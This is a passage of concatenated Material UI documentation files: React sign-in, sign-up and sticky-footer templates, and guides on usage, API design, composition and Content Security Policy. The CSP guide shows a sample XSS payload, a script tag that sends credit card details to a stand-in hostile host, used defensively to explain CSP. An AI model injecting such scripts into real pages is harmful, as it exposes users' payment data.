variant="contained"
sx={{ mt: 3, mb: 2 }}
>
Sign In
</Button>
<Grid container>
<Grid item xs>
<Link href="#" variant="body2">
Forgot password?
</Link>
</Grid>
<Grid item>
<Link href="#" variant="body2">
{"Don't have an account? Sign Up"}
</Link>
</Grid>
</Grid>
</Box>
</Box>
<Copyright sx={{ mt: 8, mb: 4 }} />
</Container>
</ThemeProvider>
);
}
| 3,577 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-in/SignIn.tsx | import * as React from 'react';
import Avatar from '@mui/material/Avatar';
import Button from '@mui/material/Button';
import CssBaseline from '@mui/material/CssBaseline';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Link from '@mui/material/Link';
import Grid from '@mui/material/Grid';
import Box from '@mui/material/Box';
import LockOutlinedIcon from '@mui/icons-material/LockOutlined';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright(props: any) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function SignIn() {
const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {
event.preventDefault();
const data = new FormData(event.currentTarget);
console.log({
email: data.get('email'),
password: data.get('password'),
});
};
return (
<ThemeProvider theme={defaultTheme}>
<Container component="main" maxWidth="xs">
<CssBaseline />
<Box
sx={{
marginTop: 8,
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
}}
>
<Avatar sx={{ m: 1, bgcolor: 'secondary.main' }}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign in
</Typography>
<Box component="form" onSubmit={handleSubmit} noValidate sx={{ mt: 1 }}>
<TextField
margin="normal"
required
fullWidth
id="email"
label="Email Address"
name="email"
autoComplete="email"
autoFocus
/>
<TextField
margin="normal"
required
fullWidth
name="password"
label="Password"
type="password"
id="password"
autoComplete="current-password"
/>
<FormControlLabel
control={<Checkbox value="remember" color="primary" />}
label="Remember me"
/>
<Button
type="submit"
fullWidth
variant="contained"
sx={{ mt: 3, mb: 2 }}
>
Sign In
</Button>
<Grid container>
<Grid item xs>
<Link href="#" variant="body2">
Forgot password?
</Link>
</Grid>
<Grid item>
<Link href="#" variant="body2">
{"Don't have an account? Sign Up"}
</Link>
</Grid>
</Grid>
</Box>
</Box>
<Copyright sx={{ mt: 8, mb: 4 }} />
</Container>
</ThemeProvider>
);
}
| 3,578 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-up/README.md | # Sign-up template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.
3. Import and use the `SignUp` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/sign-up/.
| 3,579 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-up/SignUp.js | import * as React from 'react';
import Avatar from '@mui/material/Avatar';
import Button from '@mui/material/Button';
import CssBaseline from '@mui/material/CssBaseline';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Link from '@mui/material/Link';
import Grid from '@mui/material/Grid';
import Box from '@mui/material/Box';
import LockOutlinedIcon from '@mui/icons-material/LockOutlined';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright(props) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function SignUp() {
const handleSubmit = (event) => {
event.preventDefault();
const data = new FormData(event.currentTarget);
console.log({
email: data.get('email'),
password: data.get('password'),
});
};
return (
<ThemeProvider theme={defaultTheme}>
<Container component="main" maxWidth="xs">
<CssBaseline />
<Box
sx={{
marginTop: 8,
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
}}
>
<Avatar sx={{ m: 1, bgcolor: 'secondary.main' }}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign up
</Typography>
<Box component="form" noValidate onSubmit={handleSubmit} sx={{ mt: 3 }}>
<Grid container spacing={2}>
<Grid item xs={12} sm={6}>
<TextField
autoComplete="given-name"
name="firstName"
required
fullWidth
id="firstName"
label="First Name"
autoFocus
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
fullWidth
id="lastName"
label="Last Name"
name="lastName"
autoComplete="family-name"
/>
</Grid>
<Grid item xs={12}>
<TextField
required
fullWidth
id="email"
label="Email Address"
name="email"
autoComplete="email"
/>
</Grid>
<Grid item xs={12}>
<TextField
required
fullWidth
name="password"
label="Password"
type="password"
id="password"
autoComplete="new-password"
/>
</Grid>
<Grid item xs={12}>
<FormControlLabel
control={<Checkbox value="allowExtraEmails" color="primary" />}
label="I want to receive inspiration, marketing promotions and updates via email."
/>
</Grid>
</Grid>
<Button
type="submit"
fullWidth
variant="contained"
sx={{ mt: 3, mb: 2 }}
>
Sign Up
</Button>
<Grid container justifyContent="flex-end">
<Grid item>
<Link href="#" variant="body2">
Already have an account? Sign in
</Link>
</Grid>
</Grid>
</Box>
</Box>
<Copyright sx={{ mt: 5 }} />
</Container>
</ThemeProvider>
);
}
| 3,580 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sign-up/SignUp.tsx | import * as React from 'react';
import Avatar from '@mui/material/Avatar';
import Button from '@mui/material/Button';
import CssBaseline from '@mui/material/CssBaseline';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Link from '@mui/material/Link';
import Grid from '@mui/material/Grid';
import Box from '@mui/material/Box';
import LockOutlinedIcon from '@mui/icons-material/LockOutlined';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright(props: any) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function SignUp() {
const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {
event.preventDefault();
const data = new FormData(event.currentTarget);
console.log({
email: data.get('email'),
password: data.get('password'),
});
};
return (
<ThemeProvider theme={defaultTheme}>
<Container component="main" maxWidth="xs">
<CssBaseline />
<Box
sx={{
marginTop: 8,
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
}}
>
<Avatar sx={{ m: 1, bgcolor: 'secondary.main' }}>
<LockOutlinedIcon />
</Avatar>
<Typography component="h1" variant="h5">
Sign up
</Typography>
<Box component="form" noValidate onSubmit={handleSubmit} sx={{ mt: 3 }}>
<Grid container spacing={2}>
<Grid item xs={12} sm={6}>
<TextField
autoComplete="given-name"
name="firstName"
required
fullWidth
id="firstName"
label="First Name"
autoFocus
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
fullWidth
id="lastName"
label="Last Name"
name="lastName"
autoComplete="family-name"
/>
</Grid>
<Grid item xs={12}>
<TextField
required
fullWidth
id="email"
label="Email Address"
name="email"
autoComplete="email"
/>
</Grid>
<Grid item xs={12}>
<TextField
required
fullWidth
name="password"
label="Password"
type="password"
id="password"
autoComplete="new-password"
/>
</Grid>
<Grid item xs={12}>
<FormControlLabel
control={<Checkbox value="allowExtraEmails" color="primary" />}
label="I want to receive inspiration, marketing promotions and updates via email."
/>
</Grid>
</Grid>
<Button
type="submit"
fullWidth
variant="contained"
sx={{ mt: 3, mb: 2 }}
>
Sign Up
</Button>
<Grid container justifyContent="flex-end">
<Grid item>
<Link href="#" variant="body2">
Already have an account? Sign in
</Link>
</Grid>
</Grid>
</Box>
</Box>
<Copyright sx={{ mt: 5 }} />
</Container>
</ThemeProvider>
);
}
| 3,581 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sticky-footer/README.md | # Sticky footer template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @emotion/styled, @emotion/react.
3. Import and use the `StickyFooter` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/sticky-footer/.
| 3,582 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sticky-footer/StickyFooter.js | import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import { createTheme, ThemeProvider } from '@mui/material/styles';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import Link from '@mui/material/Link';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function StickyFooter() {
return (
<ThemeProvider theme={defaultTheme}>
<Box
sx={{
display: 'flex',
flexDirection: 'column',
minHeight: '100vh',
}}
>
<CssBaseline />
<Container component="main" sx={{ mt: 8, mb: 2 }} maxWidth="sm">
<Typography variant="h2" component="h1" gutterBottom>
Sticky footer
</Typography>
<Typography variant="h5" component="h2" gutterBottom>
{'Pin a footer to the bottom of the viewport.'}
{'The footer will move as the main element of the page grows.'}
</Typography>
<Typography variant="body1">Sticky footer placeholder.</Typography>
</Container>
<Box
component="footer"
sx={{
py: 3,
px: 2,
mt: 'auto',
backgroundColor: (theme) =>
theme.palette.mode === 'light'
? theme.palette.grey[200]
: theme.palette.grey[800],
}}
>
<Container maxWidth="sm">
<Typography variant="body1">
My sticky footer can be found here.
</Typography>
<Copyright />
</Container>
</Box>
</Box>
</ThemeProvider>
);
}
| 3,583 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/sticky-footer/StickyFooter.tsx | import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import { createTheme, ThemeProvider } from '@mui/material/styles';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import Link from '@mui/material/Link';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function StickyFooter() {
return (
<ThemeProvider theme={defaultTheme}>
<Box
sx={{
display: 'flex',
flexDirection: 'column',
minHeight: '100vh',
}}
>
<CssBaseline />
<Container component="main" sx={{ mt: 8, mb: 2 }} maxWidth="sm">
<Typography variant="h2" component="h1" gutterBottom>
Sticky footer
</Typography>
<Typography variant="h5" component="h2" gutterBottom>
{'Pin a footer to the bottom of the viewport.'}
{'The footer will move as the main element of the page grows.'}
</Typography>
<Typography variant="body1">Sticky footer placeholder.</Typography>
</Container>
<Box
component="footer"
sx={{
py: 3,
px: 2,
mt: 'auto',
backgroundColor: (theme) =>
theme.palette.mode === 'light'
? theme.palette.grey[200]
: theme.palette.grey[800],
}}
>
<Container maxWidth="sm">
<Typography variant="body1">
My sticky footer can be found here.
</Typography>
<Copyright />
</Container>
</Box>
</Box>
</ThemeProvider>
);
}
| 3,584 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/usage/ButtonUsage.js | import * as React from 'react';
import Button from '@mui/material/Button';
export default function ButtonUsage() {
return <Button variant="contained">Hello world</Button>;
}
| 3,585 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/usage/ButtonUsage.tsx | import * as React from 'react';
import Button from '@mui/material/Button';
export default function ButtonUsage() {
return <Button variant="contained">Hello world</Button>;
}
| 3,586 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/usage/ButtonUsage.tsx.preview | <Button variant="contained">Hello world</Button> | 3,587 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/usage/usage.md | # Usage
<p class="description">Learn the basics of working with Material UI components.</p>
## Quickstart
After [installation](/material-ui/getting-started/installation/), you can import any Material UI component and start playing around.
For example, try changing the `variant` on the [Button](/material-ui/react-button/) to `outlined` to see how the style changes:
{{"demo": "ButtonUsage.js", "defaultCodeOpen": true}}
## Globals
Since Material UI components are built to function in isolation, they don't require any kind of globally scoped styles.
For a better user experience and developer experience, we recommend adding the following globals to your app.
### Responsive meta tag
Material UI is a _mobile-first_ component library—we write code for mobile devices first, and then scale up the components as necessary using CSS media queries.
To ensure proper rendering and touch zooming for all devices, add the responsive viewport meta tag to your `<head>` element:
```html
<meta name="viewport" content="initial-scale=1, width=device-width" />
```
### CssBaseline
Material UI provides an optional [CssBaseline](/material-ui/react-css-baseline/) component.
It fixes some inconsistencies across browsers and devices while providing resets that are better tailored to fit Material UI than alternative global style sheets like [normalize.css](https://github.com/necolas/normalize.css/).
### Default font
Material UI uses the Roboto font by default.
See [Installation—Roboto font](/material-ui/getting-started/installation/#roboto-font) for complete details.
| 3,588 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/api/api.md | # API design approach
<p class="description">We have learned a great deal regarding how Material UI is used, and the v1 rewrite allowed us to completely rethink the component API.</p>
> API design is hard because you can make it seem simple but it's actually deceptively complex, or make it actually simple but seem complex.
> [@sebmarkbage](https://twitter.com/sebmarkbage/status/728433349337841665)
As Sebastian Markbage [pointed out](https://2014.jsconf.eu/speakers/sebastian-markbage-minimal-api-surface-area-learning-patterns-instead-of-frameworks.html), no abstraction is superior to wrong abstractions.
We are providing low-level components to maximize composition capabilities.
## Composition
You may have noticed some inconsistency in the API regarding composing components.
To provide some transparency, we have been using the following rules when designing the API:
1. Using the `children` prop is the idiomatic way to do composition with React.
2. Sometimes we only need limited child composition, for instance when we don't need to allow child order permutations.
In this case, providing explicit props makes the implementation simpler and more performant; for example, the `Tab` takes an `icon` and a `label` prop.
3. API consistency matters.
## Rules
Aside from the above composition trade-off, we enforce the following rules:
### Spread
Props supplied to a component which are not explicitly documented are spread to the root element;
for instance, the `className` prop is applied to the root.
Now, let's say you want to disable the ripples on the `MenuItem`.
You can take advantage of the spread behavior:
```jsx
<MenuItem disableRipple />
```
The `disableRipple` prop will flow this way: [`MenuItem`](/material-ui/api/menu-item/) > [`ListItem`](/material-ui/api/list-item/) > [`ButtonBase`](/material-ui/api/button-base/).
### Native properties
We avoid documenting native properties supported by the DOM like [`className`](/material-ui/customization/how-to-customize/#overriding-styles-with-class-names).
### CSS Classes
All components accept a [`classes`](/material-ui/customization/how-to-customize/#overriding-styles-with-class-names) prop to customize the styles.
The classes design answers two constraints:
to make the classes structure as simple as possible, while sufficient to implement the Material Design guidelines.
- The class applied to the root element is always called `root`.
- All the default styles are grouped in a single class.
- The classes applied to non-root elements are prefixed with the name of the element, e.g. `paperWidthXs` in the Dialog component.
- The variants applied by a boolean prop **aren't** prefixed, e.g. the `rounded` class
applied by the `rounded` prop.
- The variants applied by an enum prop **are** prefixed, e.g. the `colorPrimary` class
applied by the `color="primary"` prop.
- A variant has **one level of specificity**.
The `color` and `variant` props are considered a variant.
The lower the style specificity is, the simpler it is to override.
- We increase the specificity for a variant modifier.
We already **have to do it** for the pseudo-classes (`:hover`, `:focus`, etc.).
It allows much more control at the cost of more boilerplate.
Hopefully, it's also more intuitive.
```js
const styles = {
root: {
color: green[600],
'&$checked': {
color: green[500],
},
},
checked: {},
};
```
### Nested components
Nested components inside a component have:
- their own flattened props when these are key to the top level component abstraction,
for instance an `id` prop for the `Input` component.
- their own `xxxProps` prop when users might need to tweak the internal render method's subcomponents,
for instance, exposing the `inputProps` and `InputProps` props on components that use `Input` internally.
- their own `xxxComponent` prop for performing component injection.
- their own `xxxRef` prop when you might need to perform imperative actions,
for instance, exposing an `inputRef` prop to access the native `input` on the `Input` component.
This helps answer the question ["How can I access the DOM element?"](/material-ui/getting-started/faq/#how-can-i-access-the-dom-element)
### Prop naming
- **Boolean**
- The default value of a boolean prop should be `false`. This allows for better shorthand notation. Consider an example of an input that is enabled by default. How should you name the prop that controls this state? It should be called `disabled`:
```jsx
❌ <Input enabled={false} />
✅ <Input disabled />
```
- If the name of the boolean is a single word, it should be an adjective or a noun rather than a verb. This is because props describe _states_ and not _actions_. For example an input prop can be controlled by a state, which wouldn't be described with a verb:
```jsx
const [disabled, setDisabled] = React.useState(false);
❌ <Input disable={disabled} />
✅ <Input disabled={disabled} />
```
### Controlled components
Most controlled components are controlled by the `value` and the `onChange` props.
The `open` / `onClose` / `onOpen` combination is also used for displaying related state.
In the cases where there are more events, the noun comes first, and then the verb—for example: `onPageChange`, `onRowsChange`.
:::info
- A component is **controlled** when it's managed by its parent using props.
- A component is **uncontrolled** when it's managed by its own local state.
Learn more about controlled and uncontrolled components in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::
### boolean vs. enum
There are two options to design the API for the variations of a component: with a _boolean_; or with an _enum_.
For example, let's take a button that has different types. Each option has its pros and cons:
- Option 1 _boolean_:
```tsx
type Props = {
contained: boolean;
fab: boolean;
};
```
This API enables the shorthand notation:
`<Button>`, `<Button contained />`, `<Button fab />`.
- Option 2 _enum_:
```tsx
type Props = {
variant: 'text' | 'contained' | 'fab';
};
```
This API is more verbose:
`<Button>`, `<Button variant="contained">`, `<Button variant="fab">`.
However, it prevents an invalid combination from being used,
bounds the number of props exposed,
and can easily support new values in the future.
The Material UI components use a combination of the two approaches according to the following rules:
- A _boolean_ is used when **2** possible values are required.
- An _enum_ is used when **> 2** possible values are required, or if there is the possibility that additional possible values may be required in the future.
Going back to the previous button example; since it requires 3 possible values, we use an _enum_.
### Ref
The `ref` is forwarded to the root element. This means that, without changing the rendered root element
via the `component` prop, it is forwarded to the outermost DOM element which the component
renders. If you pass a different component via the `component` prop, the ref will be attached
to that component instead.
## Glossary
- **host component**: a DOM node type in the context of `react-dom`, e.g. a `'div'`. See also [React Implementation Notes](https://legacy.reactjs.org/docs/implementation-notes.html#mounting-host-elements).
- **host element**: a DOM node in the context of `react-dom`, e.g. an instance of `window.HTMLDivElement`.
- **outermost**: The first component when reading the component tree from top to bottom i.e. breadth-first search.
- **root component**: the outermost component that renders a host component.
- **root element**: the outermost element that renders a host component.
| 3,589 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/composition/Composition.js | import * as React from 'react';
import IconButton from '@mui/material/IconButton';
import Icon from '@mui/material/Icon';
function WrappedIcon(props) {
return <Icon {...props} />;
}
WrappedIcon.muiName = 'Icon';
export default function Composition() {
return (
<div>
<IconButton>
<Icon>alarm</Icon>
</IconButton>
<IconButton>
<WrappedIcon>alarm</WrappedIcon>
</IconButton>
</div>
);
}
| 3,590 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/composition/Composition.tsx | import * as React from 'react';
import IconButton from '@mui/material/IconButton';
import Icon, { IconProps } from '@mui/material/Icon';
function WrappedIcon(props: IconProps) {
return <Icon {...props} />;
}
WrappedIcon.muiName = 'Icon';
export default function Composition() {
return (
<div>
<IconButton>
<Icon>alarm</Icon>
</IconButton>
<IconButton>
<WrappedIcon>alarm</WrappedIcon>
</IconButton>
</div>
);
}
| 3,591 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/composition/Composition.tsx.preview | <IconButton>
<Icon>alarm</Icon>
</IconButton>
<IconButton>
<WrappedIcon>alarm</WrappedIcon>
</IconButton> | 3,592 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/composition/composition.md | # Composition
<p class="description">Material UI tries to make composition as easy as possible.</p>
## Wrapping components
To provide maximum flexibility and performance, Material UI needs a way to know the nature of the child elements a component receives.
To solve this problem, we tag some of the components with a `muiName` static property when needed.
You may, however, need to wrap a component in order to enhance it, which can conflict with the `muiName` solution.
If you wrap a component, verify if that component has this static property set.
If you encounter this issue, you need to use the same tag for your wrapping component that is used with the wrapped component.
In addition, you should forward the props, as the parent component may need to control the wrapped components props.
Let's see an example:
```jsx
const WrappedIcon = (props) => <Icon {...props} />;
WrappedIcon.muiName = Icon.muiName;
```
{{"demo": "Composition.js"}}
## Component prop
Material UI allows you to change the root element that will be rendered via a prop called `component`.
### How does it work?
The custom component will be rendered by Material UI like this:
```js
return React.createElement(props.component, props);
```
For example, by default a `List` component will render a `<ul>` element.
This can be changed by passing a [React component](https://react.dev/reference/react/Component) to the `component` prop.
The following example will render the `List` component with a `<nav>` element as root element instead:
```jsx
<List component="nav">
<ListItem button>
<ListItemText primary="Trash" />
</ListItem>
<ListItem button>
<ListItemText primary="Spam" />
</ListItem>
</List>
```
This pattern is very powerful and allows for great flexibility, as well as a way to interoperate with other libraries, such as your favorite routing or forms library.
But it also **comes with a small caveat!**
### Inlining & caveat
Using an inline function as an argument for the `component` prop may result in **unexpected unmounting**, since a new component is passed every time React renders.
For instance, if you want to create a custom `ListItem` that acts as a link, you could do the following:
```jsx
import { Link } from 'react-router-dom';
function ListItemLink(props) {
const { icon, primary, to } = props;
const CustomLink = (props) => <Link to={to} {...props} />;
return (
<li>
<ListItem button component={CustomLink}>
<ListItemIcon>{icon}</ListItemIcon>
<ListItemText primary={primary} />
</ListItem>
</li>
);
}
```
:::warning
However, since we are using an inline function to change the rendered component, React will remount the link every time `ListItemLink` is rendered. Not only will React update the DOM unnecessarily but the state will be lost, e.g. the ripple effect of the `ListItem` will also not work correctly.
:::
The solution is simple: **avoid inline functions and pass a static component to the `component` prop** instead.
Let's change the `ListItemLink` component so `CustomLink` always reference the same component:
```tsx
import { Link, LinkProps } from 'react-router-dom';
function ListItemLink(props) {
const { icon, primary, to } = props;
const CustomLink = React.useMemo(
() =>
React.forwardRef<HTMLAnchorElement, Omit<RouterLinkProps, 'to'>>(function Link(
linkProps,
ref,
) {
return <Link ref={ref} to={to} {...linkProps} />;
}),
[to],
);
return (
<li>
<ListItem button component={CustomLink}>
<ListItemIcon>{icon}</ListItemIcon>
<ListItemText primary={primary} />
</ListItem>
</li>
);
}
```
### Prop forwarding & caveat
You can take advantage of the prop forwarding to simplify the code.
In this example, we don't create any intermediary component:
```jsx
import { Link } from 'react-router-dom';
<ListItem button component={Link} to="/">
```
:::warning
However, this strategy suffers from a limitation: prop name collisions.
The component receiving the `component` prop (e.g. ListItem) might intercept the prop (e.g. to) that is destined to the leave element (e.g. Link).
:::
### With TypeScript
To be able to use the `component` prop, the type of the props should be used with type arguments. Otherwise, the `component` prop will not be present.
The examples below use `TypographyProps` but the same will work for any component which has props defined with `OverrideProps`.
```ts
import { TypographyProps } from '@mui/material/Typography';
function CustomComponent(props: TypographyProps<'a', { component: 'a' }>) {
/* ... */
}
// ...
<CustomComponent component="a" />;
```
Now the `CustomComponent` can be used with a `component` prop which should be set to `'a'`.
In addition, the `CustomComponent` will have all props of a `<a>` HTML element.
The other props of the `Typography` component will also be present in props of the `CustomComponent`.
You can find a code example with the Button and react-router-dom in [these demos](/material-ui/guides/routing/#component-prop).
#### Generic
It's also possible to have a generic `CustomComponent` which will accept any React component, and HTML elements.
```ts
function GenericCustomComponent<C extends React.ElementType>(
props: TypographyProps<C, { component?: C }>,
) {
/* ... */
}
```
If the `GenericCustomComponent` is used with a `component` prop provided, it should also have all props required by the provided component.
```ts
function ThirdPartyComponent({ prop1 }: { prop1: string }) {
/* ... */
}
// ...
<GenericCustomComponent component={ThirdPartyComponent} prop1="some value" />;
```
The `prop1` became required for the `GenericCustomComponent` as the `ThirdPartyComponent` has it as a requirement.
Not every component fully supports any component type you pass in.
If you encounter a component that rejects its `component` props in TypeScript, please open an issue.
There is an ongoing effort to fix this by making component props generic.
## Caveat with refs
This section covers caveats when using a custom component as `children` or for the
`component` prop.
Some of the components need access to the DOM node. This was previously possible
by using `ReactDOM.findDOMNode`. This function is deprecated in favor of `ref` and
ref forwarding. However, only the following component types can be given a `ref`:
- Any Material UI component
- class components i.e. `React.Component` or `React.PureComponent`
- DOM (or host) components e.g. `div` or `button`
- [React.forwardRef components](https://react.dev/reference/react/forwardRef)
- [React.lazy components](https://react.dev/reference/react/lazy)
- [React.memo components](https://react.dev/reference/react/memo)
If you don't use one of the above types when using your components in conjunction with Material UI, you might see a warning from
React in your console similar to:
:::warning
Function components cannot be given refs. Attempts to access this ref will fail. Did you mean to use React.forwardRef()?
:::
Note that you will still get this warning for `lazy` and `memo` components if their wrapped component can't hold a ref.
In some instances, an additional warning is issued to help with debugging, similar to:
:::warning
Invalid prop `component` supplied to `ComponentName`. Expected an element type that can hold a ref.
:::
Only the two most common use cases are covered. For more information see [this section in the official React docs](https://react.dev/reference/react/forwardRef).
```diff
-const MyButton = () => <div role="button" />;
+const MyButton = React.forwardRef((props, ref) =>
+ <div role="button" {...props} ref={ref} />);
<Button component={MyButton} />;
```
```diff
-const SomeContent = props => <div {...props}>Hello, World!</div>;
+const SomeContent = React.forwardRef((props, ref) =>
+ <div {...props} ref={ref}>Hello, World!</div>);
<Tooltip title="Hello again."><SomeContent /></Tooltip>;
```
To find out if the Material UI component you're using has this requirement, check
out the props API documentation for that component. If you need to forward refs
the description will link to this section.
### Caveat with StrictMode
If you use class components for the cases described above you will still see
warnings in `React.StrictMode`.
`ReactDOM.findDOMNode` is used internally for backwards compatibility.
You can use `React.forwardRef` and a designated prop in your class component to forward the `ref` to a DOM component.
Doing so should not trigger any more warnings related to the deprecation of `ReactDOM.findDOMNode`.
```diff
class Component extends React.Component {
render() {
- const { props } = this;
+ const { forwardedRef, ...props } = this.props;
return <div {...props} ref={forwardedRef} />;
}
}
-export default Component;
+export default React.forwardRef((props, ref) => <Component {...props} forwardedRef={ref} />);
```
| 3,593 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/content-security-policy/content-security-policy.md | # Content Security Policy (CSP)
<p class="description">This section covers the details of setting up a CSP.</p>
## What is CSP and why is it useful?
CSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at `https://example.com` the CSP header `default-src: 'self';` will allow all assets that are located at `https://example.com/*` and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:
```html
<script>
sendCreditCardDetails('https://hostile.example');
</script>
```
This vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.
You can read more about CSP on the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP).
## How does one implement CSP?
### Server-Side Rendering (SSR)
To use CSP with Material UI (and Emotion), you need to use a nonce.
A nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request.
A CSP nonce is a Base 64 encoded string. You can generate one like this:
```js
import uuidv4 from 'uuid/v4';
const nonce = new Buffer(uuidv4()).toString('base64');
```
You must use UUID version 4, as it generates an **unpredictable** string.
You then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:
```js
header('Content-Security-Policy').set(
`default-src 'self'; style-src 'self' 'nonce-${nonce}';`,
);
```
You should pass the nonce in the `<style>` tags on the server.
```jsx
<style
data-emotion={`${style.key} ${style.ids.join(' ')}`}
nonce={nonce}
dangerouslySetInnerHTML={{ __html: style.css }}
/>
```
Then, you must pass this nonce to Emotion's cache so it can add it to subsequent `<style>`.
:::warning
If you were using `StyledEngineProvider` with `injectFirst`, you will need to replace it with `CacheProvider` from Emotion and add the `prepend: true` option.
:::
```js
const cache = createCache({
key: 'my-prefix-key',
nonce: nonce,
prepend: true,
});
function App(props) {
return (
<CacheProvider value={cache}>
<Home />
</CacheProvider>
);
}
```
### Create React App (CRA)
According to the [Create React App Docs](https://create-react-app.dev/docs/advanced-configuration/), a Create React App will dynamically embed the runtime script into index.html during the production build by default.
This will require a new hash to be set in your CSP during each deployment.
To use a CSP with a project initialized as a Create React App, you will need to set the `INLINE_RUNTIME_CHUNK=false` variable in the `.env` file used for your production build.
This will import the runtime script as usual instead of embedding it, avoiding the need to set a new hash during each deployment.
### styled-components
The configuration of the nonce is not straightforward, but you can follow [this issue](https://github.com/styled-components/styled-components/issues/2363) for more insights.
| 3,594 |
0 | petrpan-code/mui/material-ui/docs/data/material/guides | petrpan-code/mui/material-ui/docs/data/material/guides/creating-themed-components/StatComponent.js | import * as React from 'react';
import { styled } from '@mui/material/styles';
const StatRoot = styled('div')(({ theme }) => ({
display: 'flex',
